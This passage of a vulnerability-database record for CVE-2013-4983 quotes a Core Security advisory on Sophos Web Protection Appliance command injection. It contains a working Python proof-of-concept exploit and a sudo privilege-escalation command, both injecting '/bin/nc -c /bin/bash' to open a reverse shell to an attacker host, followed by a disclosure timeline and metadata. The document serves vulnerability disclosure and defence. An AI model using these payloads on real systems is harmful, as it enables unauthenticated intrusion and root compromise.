$_POST[\u0027client-ip\u0027];\n            if($user == \u0027-\u0027) $user = $_POST[\u0027client-ip\u0027];\n\n            $key = escapeshellarg($key);\n            $user = escapeshellarg($user);\n            $value = escapeshellarg($value);\n        shell_exec(\"$packer $key $user $value\");\n[...]\n?\u003e      \n-----/\n\nwe can see that the Perl script \u0027/opt/ws/bin/sblistpack\u0027 will be\nexecuted when the following conditions are met:\n\n   1. the \u0027action\u0027 GET parameter is set to \u0027continue\u0027, and\n   2. the \u0027args_reason\u0027 POST parameter is set to anything different that\n\u0027filetypewarn\u0027;\nVariables whose content is controlled by the user \u0027($key, $user,\n$value)\u0027 are properly escaped by using \u0027escapeshellarg()\u0027 before calling\n\u0027shell_exec()\u0027, making the UsrBlocked.php script not vulnerable to OS\ncommand injection at that point. However, the invoked\n\u0027/opt/ws/bin/sblistpack\u0027 Perl script itself is vulnerable to OS command\ninjection, because its \u0027get_referers()\u0027 function doesn\u0027t escape the\nfirst argument of the script before using it within a string that will\nbe executed as a command by using backticks:\n\n\n/-----\nsub get_referers {\n    my $domain = shift;\n\n    if(! -f $referer_list) {\n        return ();\n    }\n\n    # handle multiple google domains (e.g. google.co.uk)\n    if($domain =~ /^google\\./) {\n        $domain = \u0027google.com\u0027;\n    }\n\n    my $output = `/opt/ws/bin/kvlistquery $referer_list $domain`;\n    chomp $output;\n\n    if($output =~ /\u0027(.*)\u0027$/) {\n        my $sites = $1;\n        return split(\u0027\\|\u0027, $sites);\n    }\n    return ();\n}\n\n-----/\n\nso, by setting the \u0027domain\u0027 POST parameter to a value like:\n\n\n/-----\nhttp://example.com;/bin/nc -c /bin/bash 192.168.1.100 4444\n-----/\n\nan unauthenticated remote attacker can execute arbitrary OS commands on\nthe Sophos appliance with the privileges of the \u0027spiderman\u0027 operating\nsystem user. \n\n\n8.1.1. *Proof of Concept*\n\nThe following Python script exploits the pre-authentication OS command\ninjection vulnerability and executes \u0027/bin/nc -c /bin/bash 192.168.1.100\n4444\u0027 on a vulnerable Sophos Web Protection Appliance in order to gain a\nreverse shell on attacker\u0027s machine at 192.168.1.100:\n\n\n/-----\nimport sys\nimport httplib\n\ndef main():\n    if len(sys.argv) \u003c 2:\n        print \"Usage: sophos_wpa_command_injection.py \u003ctarget_ip\u003e\"\n        sys.exit(1)\n\n    host = sys.argv[1]\n    port = 443\n\n    headers = {\u0027Host\u0027: host,\n               \u0027User-Agent\u0027: \u0027Mozilla/5.0 (Windows NT 6.1; WOW64;\nrv:21.0) Gecko/20100101 Firefox/21.0\u0027,\n               \u0027Accept\u0027:\n\u0027text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0027,\n               \u0027Accept-Language\u0027: \u0027es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3\u0027,\n               \u0027Accept-Encoding\u0027: \u0027gzip, deflate\u0027,\n               \u0027Connection\u0027: \u0027keep-alive\u0027,\n               \u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027\n               }\n\n    body  = \u0027url=aHR0cDovL3d3dy5leGFtcGxlLmNvbQ%3d%3d\u0027\n    body +=\n\u0027\u0026args_reason=something_different_than_filetypewarn\u0026filetype=dummy\u0026user=buffalo\u0027\n    body +=\n\u0027\u0026user_encoded=YnVmZmFsbw%3d%3d\u0026domain=http%3a%2f%2fexample.com%3b%2fbin%2fnc%20-c%20%2fbin%2fbash%20192.168.1.100%204444\u0027\n    body += \u0027\u0026raw_category_id=one%7ctwo%7cthree%7cfour\u0027\n\n    conn = httplib.HTTPSConnection(host, port)\n    conn.request(\u0027POST\u0027,\n\u0027/end-user/index.php?c=blocked\u0026action=continue\u0027, body=body, headers=headers)\n    \n    #Don\u0027t wait for the server response since it will be blocked by the\nspawned shell\n    conn.close()\n    print \u0027Done.\u0027\n\nif __name__ == \u0027__main__\u0027:\n    main()      \n-----/\n\n\n8.2. *Privilege escalation through local OS command injection vulnerability*\n\n[CVE-2013-4984] The Apache web server within the Sophos appliance runs\nunder the \u0027spiderman\u0027 user. The \u0027/etc/sudoers\u0027 file defines a list of\nBash and Perl scripts that the \u0027spiderman\u0027 user can run with the \u0027sudo\u0027\ncommand:\n\n\n/-----\nspiderman ALL=NOPASSWD:/opt/sophox/bin/configure_interface, \\\n                       /opt/sophox/bin/sophox-register, \\\n                       /opt/sophox/bin/sophox-remote-assist, \\\n                       [...]\n                       /opt/cma/bin/clear_keys.pl, \\\n                       [...]\n-----/\n\nThe Perl script \u0027/opt/cma/bin/clear_keys.pl\u0027 is vulnerable to OS command\ninjection, because its \u0027close_connections()\u0027 function:\n\n\n/-----\nsub close_connections {\n    my ($client_ip, $signum, $signame) = @_;\n\n    my @connections = `/bin/netstat -nap|grep ^tcp.*:22.*$client_ip.*EST`;\n    foreach (@connections) {\n        if(/ESTABLISHED\\s*(\\d+)\\/sshd/) {\n            my $conn_pid = $+;\n            log_info(\"connection PID: $conn_pid; my PID: $$; my process\ntree: \" . join(\u0027, \u0027, @my_process_tree));\n            next if (grep {$_ == $conn_pid}  @my_process_tree);\n            log_info(\"Attempting to stop process \u0027$conn_pid\u0027 with\n$signame\");\n            kill $signum, $conn_pid;\n        }\n    }\n}      \n-----/\n\ndoesn\u0027t escape the second argument of the script before using it within\na string that will be executed as a command by using backticks. \n\nThe following command can be executed within a compromised Web\nProtection Appliance to escalate privileges from \u0027spiderman\u0027 user to\nroot and gain a reverse root shell on attacker\u0027s machine at 192.168.1.100:\n\n\n/-----\n$ sudo /opt/cma/bin/clear_keys.pl fakeclientfqdn \";/bin/nc -c /bin/bash\n192.168.1.100 5555;\" /fakedir\n-----/\n\n\n9. *Report Timeline*\n\n. 2013-08-12:\nCore Security Technologies notifies the Sophos team of the vulnerability\nand sends a technical report. Publication date is set for Sep 4th, 2013. 2013-08-13:\nVendor acknowledges Core Security Technologies\u0027s e-mail, confirms the\nissues and notifies that they are working on a resolution and a release\nplan. 2013-08-14:\nVendor notifies that they are expecting to release a fixed version in\nthe first week of September. Vendor also notifies that they are also in\nthe middle of an extended rollout of a new version of the product and\nwould like to make this fix available to customers on both the new and\nold versions of the product, which increases the amount of testing\ninvolved. Sophos team asks for delay the advisory publication one week\n(Sep 11th). 2013-08-20:\nCore re-schedules the advisory publication for Sep 11th, 2013. 2013-09-05:\nVendor notifies that they completed the testing early and the fixed\nversion of the Web Appliance is scheduled for tomorrow, Friday 6th. \nVendor also notifies that they have published release notes and a\nknowledgebase article acknowledging the issues [2][3]. 2013-09-06:\nAdvisory CORE-2013-0809 published. \n\n\n10. *References*\n\n[1]\nhttp://www.sophos.com/medialibrary/PDFs/factsheets/sophoswebappliancesdsna.pdf. \n\n[2] http://www.sophos.com/en-us/support/knowledgebase/119773.aspx. \n[3]\nhttp://ca-repo1.sophos.com/docs/ws1000/ws1000/concepts/ReleaseNotes_3.8.1.1.html. \n\n\n\n11. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n\n12. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n\n13. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n\n14. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2013-4983"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004013"
      },
      {
        "db": "BID",
        "id": "62263"
      },
      {
        "db": "VULHUB",
        "id": "VHN-64985"
      },
      {
        "db": "PACKETSTORM",
        "id": "123131"
      }
    ],
    "trust": 2.07
  },
  "exploit_availability": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "reference": "https://www.scap.org.cn/vuln/vhn-64985",
        "trust": 0.1,
        "type": "unknown"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-64985"
      }
    ]
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2013-4983",
        "trust": 2.9
      },
      {
        "db": "BID",
        "id": "62263",
        "trust": 1.0
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004013",
        "trust": 0.8
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201309-071",
        "trust": 0.7
      },
      {
        "db": "PACKETSTORM",
        "id": "123131",
        "trust": 0.2
      },
      {
        "db": "SEEBUG",
        "id": "SSVID-81753",
        "trust": 0.1
      },
      {
        "db": "SEEBUG",
        "id": "SSVID-81905",
        "trust": 0.1
      },
      {
        "db": "EXPLOIT-DB",
        "id": "28175",
        "trust": 0.1
      },
      {
        "db": "EXPLOIT-DB",
        "id": "28334",
        "trust": 0.1
      },
      {
        "db": "PACKETSTORM",
        "id": "123259",
        "trust": 0.1
      },
      {
        "db": "VULHUB",
        "id": "VHN-64985",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-64985"
      },
      {
        "db": "BID",
        "id": "62263"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004013"
      },
      {
        "db": "PACKETSTORM",
        "id": "123131"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201309-071"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-4983"
      }
    ]
  },
  "id": "VAR-201309-0289",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-64985"
      }
    ],
    "trust": 0.01
  },
  "last_update_date": "2024-11-23T22:49:34.405000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "119773",
        "trust": 0.8,
        "url": "http://www.sophos.com/en-us/support/knowledgebase/119773.aspx"
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004013"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-78",
        "trust": 1.9
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-64985"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004013"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-4983"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 1.8,
        "url": "http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities"
      },
      {
        "trust": 1.7,
        "url": "http://www.sophos.com/en-us/support/knowledgebase/119773.aspx"
      },
      {
        "trust": 0.8,
        "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-4983"
      },
      {
        "trust": 0.8,
        "url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2013-4983"
      },
      {
        "trust": 0.6,
        "url": "http://www.securityfocus.com/bid/62263"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cwpa_server\u003e/end-user/index.php?c=blocked\u0027,"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-4983"
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc."
      },
      {
        "trust": 0.1,
        "url": "http://www.sophos.com/en-us/support/knowledgebase/119773.aspx."
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com/"
      },
      {
        "trust": 0.1,
        "url": "http://example.com;/bin/nc"
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com."
      },
      {
        "trust": 0.1,
        "url": "http://www.sophos.com/medialibrary/pdfs/factsheets/sophoswebappliancesdsna.pdf."
      },
      {
        "trust": 0.1,
        "url": "https://\u003cwpa_server\u003e/end-user/index.php\u0027."
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-4984"
      },
      {
        "trust": 0.1,
        "url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/"
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com."
      },
      {
        "trust": 0.1,
        "url": "http://ca-repo1.sophos.com/docs/ws1000/ws1000/concepts/releasenotes_3.8.1.1.html."
      },
      {
        "trust": 0.1,
        "url": "http://\u003cwpa_server\u003e/index.php\u0027,"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-64985"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004013"
      },
      {
        "db": "PACKETSTORM",
        "id": "123131"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201309-071"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-4983"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "VULHUB",
        "id": "VHN-64985"
      },
      {
        "db": "BID",
        "id": "62263"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004013"
      },
      {
        "db": "PACKETSTORM",
        "id": "123131"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201309-071"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-4983"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2013-09-10T00:00:00",
        "db": "VULHUB",
        "id": "VHN-64985"
      },
      {
        "date": "2013-09-06T00:00:00",
        "db": "BID",
        "id": "62263"
      },
      {
        "date": "2013-09-11T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2013-004013"
      },
      {
        "date": "2013-09-07T02:51:42",
        "db": "PACKETSTORM",
        "id": "123131"
      },
      {
        "date": "2013-09-10T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201309-071"
      },
      {
        "date": "2013-09-10T11:28:40.997000",
        "db": "NVD",
        "id": "CVE-2013-4983"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2013-10-09T00:00:00",
        "db": "VULHUB",
        "id": "VHN-64985"
      },
      {
        "date": "2013-09-18T00:11:00",
        "db": "BID",
        "id": "62263"
      },
      {
        "date": "2014-03-20T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2013-004013"
      },
      {
        "date": "2013-09-11T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201309-071"
      },
      {
        "date": "2024-11-21T01:56:50.770000",
        "db": "NVD",
        "id": "CVE-2013-4983"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201309-071"
      }
    ],
    "trust": 0.6
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Sophos Web Appliance of  /opt/ws/bin/sblistpack of  get_referers Arbitrary command execution vulnerability",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004013"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "operating system commend injection",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201309-071"
      }
    ],
    "trust": 0.6
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.